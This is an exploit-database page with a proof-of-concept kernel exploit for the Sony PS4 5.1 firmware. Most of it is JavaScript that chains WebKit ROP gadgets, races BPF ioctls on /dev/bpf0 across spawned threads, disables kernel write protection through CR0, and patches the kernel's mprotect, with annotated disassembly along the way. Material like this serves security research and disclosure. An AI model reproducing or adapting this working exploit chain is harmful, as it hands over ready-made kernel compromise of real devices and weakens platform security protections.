Sony Playstation 4 (PS4) 5.1 Kernel (PoC)

2018.06.05
Credit: qwertyoruiop
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

log("--- trying kernel exploit --"); function malloc(sz) { var backing = new Uint8Array(0x10000+sz); window.nogc.push(backing); var ptr = p.read8(p.leakval(backing).add32(0x10)); ptr.backing = backing; return ptr; } function malloc32(sz) { var backing = new Uint8Array(0x10000+sz*4); window.nogc.push(backing); var ptr = p.read8(p.leakval(backing).add32(0x10)); ptr.backing = new Uint32Array(backing.buffer); return ptr; } var strcpy_helper = new Uint8Array(0x1000); var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10); function strcpy(ptr, str) { p.write8(where_writeptr_strcpy, ptr); for (var i = 0; i < str.length; i++) strcpy_helper[i] = str.charCodeAt(i) & 0xFF; strcpy_helper[str.length] = 0; } var spawnthread = function(name, chain) { /* seg000:00000000007FA7D0 sub_7FA7D0 proc near ; DATA XREF: sub_7F8330+5Eo seg000:00000000007FA7D0 55 push rbp seg000:00000000007FA7D1 48 89 E5 mov rbp, rsp seg000:00000000007FA7D4 41 56 push r14 seg000:00000000007FA7D6 53 push rbx seg000:00000000007FA7D7 48 89 F3 mov rbx, rsi seg000:00000000007FA7DA 49 89 FE mov r14, rdi seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00 lea rsi, aMissingPlteBef ; "Missing PLTE before tRNS" -> xref: seg000:00000000007F8380 48 8D 3D 28 D8 EC 00 lea rdi, a1_5_18_0 ; "1.5.18" seg000:00000000007F8387 48 8D 15 82 23 00 00 lea rdx, sub_7FA710 seg000:00000000007F838E 48 8D 0D 3B 24 00 00 lea rcx, sub_7FA7D0 seg000:00000000007F8395 31 F6 xor esi, esi seg000:00000000007F8397 49 C7 47 20 00 00 00 00 mov qword ptr [r15+20h], 0 seg000:00000000007F839F 66 41 C7 47 18 00 00 mov word ptr [r15+18h], 0 seg000:00000000007F83A6 49 C7 47 10 00 00 00 00 mov qword ptr [r15+10h], 0 seg000:00000000007F83AE E8 8D 3C D3 00 call sub_152C040 -> code: m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning); decodingWarning -> contains Missing PLTE before tRNS decodingFailed -> contains longjmp seg000:00000000007FA710 sub_7FA710 proc near ; DATA XREF: sub_7F8330+57o seg000:00000000007FA710 ; sub_7F9DC0+2Eo seg000:00000000007FA710 55 push rbp seg000:00000000007FA711 48 89 E5 mov rbp, rsp seg000:00000000007FA714 48 8B 35 5D B6 E5 02 mov rsi, cs:qword_3655D78 seg000:00000000007FA71B BA 60 00 00 00 mov edx, 60h ; '`' seg000:00000000007FA720 E8 AB E6 D2 00 call sub_1528DD0 seg000:00000000007FA725 BE 01 00 00 00 mov esi, 1 seg000:00000000007FA72A 48 89 C7 mov rdi, rax seg000:00000000007FA72D E8 26 6D 80 FF call sub_1458 < longjmp seg000:00000000007FA732 0F 0B ud2 seg000:00000000007FA732 sub_7FA710 endp */ var longjmp = window.webKitBase.add32(0x14e8); // ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name) /* seg000:00000000001DD17F 48 8D 15 C9 38 4C 01 lea rdx, aWebcoreGccontr ; "WebCore: GCController" seg000:00000000001DD186 31 F6 xor esi, esi seg000:00000000001DD188 E8 B3 1B F9 00 call sub_116ED40 */ var createThread = window.webKitBase.add32(0x779190); var contextp = malloc32(0x2000); var contextz = contextp.backing; contextz[0] = 1337; var thread2 = new RopChain(); thread2.push(window.gadgets["ret"]); // nop thread2.push(window.gadgets["ret"]); // nop thread2.push(window.gadgets["ret"]); // nop thread2.push(window.gadgets["ret"]); // nop chain(thread2); p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp var retv = function() {p.fcall(createThread, longjmp, contextp, p.sptr(name));} window.nogc.push(contextp); window.nogc.push(thread2); return retv; } var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low; var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low; if (fd == (-1 >>> 0)) { print("kexp failed: no bpf0"); } var assertcnt = 0; var assert = function(x) { assertcnt++; if (!x) throw "assertion " + assertcnt + " failed"; } print("got it"); var bpf_valid = malloc32(0x4000); var bpf_spray = malloc32(0x4000); var bpf_valid_u32 = bpf_valid.backing; var bpf_valid_prog = malloc(0x40); p.write8(bpf_valid_prog, 0x800/8) p.write8(bpf_valid_prog.add32(8), bpf_valid) var bpf_spray_prog = malloc(0x40); p.write8(bpf_spray_prog, 0x800/8) p.write8(bpf_spray_prog.add32(8), bpf_spray) for (var i = 0 ; i < 0x400; ) { bpf_valid_u32[i++] = 6; // BPF_RET bpf_valid_u32[i++] = 0; } var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog); assert(rtv.low == 0); print("okay") var interrupt1, loop1; var interrupt2, loop2; var sock = p.syscall(97, 2, 2) var kscratch = malloc32(0x100); var start1 = spawnthread("GottaGoFast", function(thread2){ interrupt1 = thread2.ropframeptr; thread2.push(window.gadgets["ret"]); // pop rdx thread2.push(window.gadgets["ret"]); // pop rdx thread2.push(window.gadgets["ret"]); // pop rdx thread2.push(window.gadgets["pop rdi"]); // pop rdi thread2.push(fd); // what thread2.push(window.gadgets["pop rsi"]); // pop rsi thread2.push(0x8010427B); // what thread2.push(window.gadgets["pop rdx"]); // pop rdx thread2.push(bpf_valid_prog); // what thread2.push(window.gadgets["pop rsp"]); // pop rdx thread2.push(thread2.ropframeptr.add32(0x800)); // what thread2.count = 0x100; var cntr = thread2.count; thread2.push(window.syscalls[54]); // ioctl thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl thread2.push(window.gadgets["pop rdi"]); // pop rdi var wherep = thread2.pushSymbolic(); // where thread2.push(window.gadgets["pop rsi"]); // pop rsi var whatp = thread2.pushSymbolic(); // where thread2.push(window.gadgets["mov [rdi], rsi"]); // perform write thread2.push(window.gadgets["pop rsp"]); // pop rdx loop1 = thread2.ropframeptr.add32(thread2.count*8); thread2.push(0x41414141); // what thread2.finalizeSymbolic(wherep, loop1); thread2.finalizeSymbolic(whatp, loop1.sub32(8)); }) var krop = new RopChain(); var race = new RopChain(); var ctxp = malloc32(0x2000); var ctxp1 = malloc32(0x2000); p.write8(bpf_spray.add32(16), ctxp); var prefaultlist = []; function pfd(addr) { var page = addr.add32(0); page.low &= 0xffffc000; p.syscall("mlock", page, 0x8000); p.read4(addr); return addr; } function pf(addr){ var page = addr.add32(0); page.low &= 0xffffc000; p.syscall("mlock", page, 0x8000); var ret = addr.add32(0); while (1) { var opcode = (p.read4(ret) & 0xff); if (opcode == 0xc3) { prefaultlist.push(ret); break; } ret.add32inplace(1); } return addr; } for (var gadgetname in gadgets) { if (gadgets.hasOwnProperty(gadgetname)) { if (gadgetname == "stack_chk_fail" || gadgetname == "memset" || gadgetname == "setjmp") continue; pf(gadgets[gadgetname]); } } /* 67d27: 48 8b 07 mov (%rdi),%rax 67d2a: ff 50 58 callq *0x58(%rax) 12a184d: 48 83 ec 58 sub $0x58,%rsp 12a1851: 89 55 d4 mov %edx,-0x2c(%rbp) 12a1854: 49 89 fd mov %rdi,%r13 12a1857: 49 89 f7 mov %rsi,%r15 12a185a: 49 8b 45 00 mov 0x0(%r13),%rax 12a185e: ff 90 d0 07 00 00 callq *0x7d0(%rax) 6ef2e5: 48 8b 7f 10 mov 0x10(%rdi),%rdi 6ef2e9: ff 20 jmpq *(%rax) 2728a1: 48 8d 7d d8 lea -0x28(%rbp),%rdi 2728a5: ff 50 40 callq *0x40(%rax) 12846b4: 48 8b 77 08 mov 0x8(%rdi),%rsi 12846b8: 48 8b 7f 18 mov 0x18(%rdi),%rdi 12846bc: 48 8b 07 mov (%rdi),%rax 12846bf: ff 50 30 callq *0x30(%rax) 15ca29b: 48 8b 97 b0 00 00 00 mov 0xb0(%rdi),%rdx 15ca2a2: ff 57 70 callq *0x70(%rdi) f094a: 48 89 e5 mov %rsp,%rbp f094d: 48 8b 07 mov (%rdi),%rax f0950: ff 90 20 04 00 00 callq *0x420(%rax) */ var ctxp2 = malloc32(0x2000); var wk2apf = function(off) { var addr = window.webKitBase.add32(off); pf(addr); return addr; } p.write8(ctxp.add32(0x50), 0); p.write8(ctxp.add32(0x68), ctxp1); var stackshift_from_retaddr = 0; p.write8(ctxp1.add32(0x10), wk2apf(0x12a184d)); stackshift_from_retaddr += 8 + 0x58; // call + sub p.write8(ctxp.add32(0), ctxp2); p.write8(ctxp.add32(0x10), ctxp2.add32(8)); p.write8(ctxp2.add32(0x7d0), wk2apf(0x6ef2e5)) // rax = ctxp2, rdi = ctxp2 + 8 var iterbase = ctxp2; for (var i=0; i<0xf; i++) { p.write8(iterbase, wk2apf(0x12a184d)) stackshift_from_retaddr += 8 + 0x58; // call + sub // rax = ctxp2+0x20 p.write8(iterbase.add32(0x7d0+0x20), wk2apf(0x6ef2e5)) p.write8(iterbase.add32(8), iterbase.add32(0x20)); p.write8(iterbase.add32(0x18), iterbase.add32(0x20+8)) iterbase = iterbase.add32(0x20); } var raxbase = iterbase; var rdibase = iterbase.add32(8); var memcpy = get_jmptgt(webKitBase.add32(0xf8)); memcpy = p.read8(memcpy); pf(memcpy); p.write8(raxbase, wk2apf(0x15ca29b)) stackshift_from_retaddr += 8; // call + sub p.write8(rdibase.add32(0x70), wk2apf(0x12846b4)); // next gadget stackshift_from_retaddr += 8; // call + sub p.write8(rdibase.add32(0x18), rdibase); // rdi p.write8(rdibase.add32(8), krop.ropframeptr); // rax p.write8(raxbase.add32(0x30), wk2apf(0xf094a)); // next gadget p.write8(rdibase, raxbase); p.write8(raxbase.add32(0x420), wk2apf(0x2728a1)); // next gadget p.write8(raxbase.add32(0x40), memcpy.add32(0xc2-0x90)); // next gadget (memcpy skipping prolog) var topofchain = stackshift_from_retaddr + 0x28 ; p.write8(rdibase.add32(0xb0), topofchain); // rdx for (var i = 0; i < 0x1000/8; i++) { p.write8(krop.ropframeptr.add32(i*8), window.gadgets["ret"]); } krop.count = 0x10; /* f094a: 48 89 e5 mov %rsp,%rbp f094d: 48 8b 07 mov (%rdi),%rax f0950: ff 90 20 04 00 00 callq *0x420(%rax) 2728a1: 48 8d 7d d8 lea -0x28(%rbp),%rdi 2728a5: ff 50 40 callq *0x40(%rax) 55566f: 48 01 c7 add %rax,%rdi 555672: 48 89 f8 mov %rdi,%rax 555675: c3 retq 46ef9: 48 8b 07 mov (%rdi),%rax 46efc: c3 retq 1520c6: 48 01 f0 add %rsi,%rax 1520c9: c3 retq 14536b: 48 89 07 mov %rax,(%rdi) 14536e: c3 retq 1570a1f: 48 21 f0 and %rsi,%rax 1570a22: c3 retq 353a71: 48 89 c2 mov %rax,%rdx 353a74: c3 retq 1cee60: 48 89 d0 mov %rdx,%rax 1cee63: c3 retq 15a3faf: 48 89 c7 mov %rax,%rdi 15a3fb2: c3 retq 6c83a: 48 8b 00 mov (%rax),%rax 6c83d: c3 retq 295dbe: ff e7 jmpq *%rdi */ p.write8(kscratch.add32(0x420), window.gadgets["pop rdi"]); p.write8(kscratch.add32(0x40), window.gadgets["pop rax"]); p.write8(kscratch.add32(0x18), kscratch); function set_rdi_rbpoff() { krop.push(window.gadgets["pop rdi"]); // pop rdi krop.push(kscratch.add32(0x18)); // what krop.push(wk2apf(0xf094a)); // rbp = rsp var rbp_off = topofchain - krop.count*8 + 0x28; krop.push(wk2apf(0x2728a1)); // rbp = rsp return rbp_off; } function add_to_rdi(imm) { krop.push(window.gadgets["pop rax"]); // pop rdi krop.push(imm); // what krop.push(wk2apf(0x55566f)); // rbp = rsp } var rboff = set_rdi_rbpoff(); add_to_rdi(rboff); var add_rax = function(imm) { krop.push(window.gadgets["pop rsi"]); // pop rsi krop.push(imm); // what krop.push(wk2apf(0x1520c6)); // add rsi to rax } krop.push(wk2apf(0x46ef9)); // deref rdi in rax add_rax(0x2fa); // what krop.push(wk2apf(0x14536b)); // write rax to rdi var shellbuf = malloc32(0x1000); var write_rax = function(addr) { krop.push(window.gadgets["pop rdi"]); // pop rdi krop.push(addr); // what krop.push(wk2apf(0x14536b)); // write rax to rdi } var load_rax = function(addr) { krop.push(window.gadgets["pop rax"]); // pop rax krop.push(addr); // what krop.push(wk2apf(0x6c83a)); // deref rax } var and_rax = function(imm) { krop.push(window.gadgets["pop rsi"]); // pop rdi krop.push(imm); // what krop.push(wk2apf(0x1570a1f)); // and rax to rdi } var rax_to_rdx = function() { krop.push(wk2apf(0x353a71)); // rax to rdx } var rdx_to_rax = function() { krop.push(wk2apf(0x1cee60)); // rdx to rax } var rax_to_rdi = function() { krop.push(wk2apf(0x15a3faf)); // rax to rdi } var write_to_rax64 = function(imm) { krop.push(window.gadgets["pop rsi"]); // pop rdi krop.push(imm); // what krop.push(window.gadgets["mov [rax], rsi"]); // pop rdi } write_rax(kscratch); // save address in usermode add_rax(0xc54b4) write_rax(kscratch.add32(8)); // save address krop.push(wk2apf(0x82)); // jmp rax write_rax(kscratch.add32(16)); // save cr0 and_rax(new int64(0xfffeffff,0xffffffff)); // unset bit rax_to_rdx(); load_rax(kscratch.add32(8)) add_rax(9) rax_to_rdi(); rdx_to_rax(); krop.push(wk2apf(0x295dbe)); // jmp rdi /* Write Anywhere mode */ load_rax(kscratch); add_rax(0x3609a); krop.push(wk2apf(0x6c83a)); // deref rax write_rax(kscratch.add32(0x330)); // rando offset lol // put patches here. example is mprotect patch load_rax(kscratch); add_rax(0x3609a); write_to_rax64(new int64(0x9090FA38,0x90909090)); // patch mprotect /* Disable Write Anywhere mode */ load_rax(kscratch.add32(8)) add_rax(9) rax_to_rdi(); load_rax(kscratch.add32(16)) krop.push(wk2apf(0x295dbe)); // jmp rdi krop.push(wk2apf(0x5cdb9)); krop.push(kscratch.add32(0x1000));


Vote for this issue:
0%
100%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top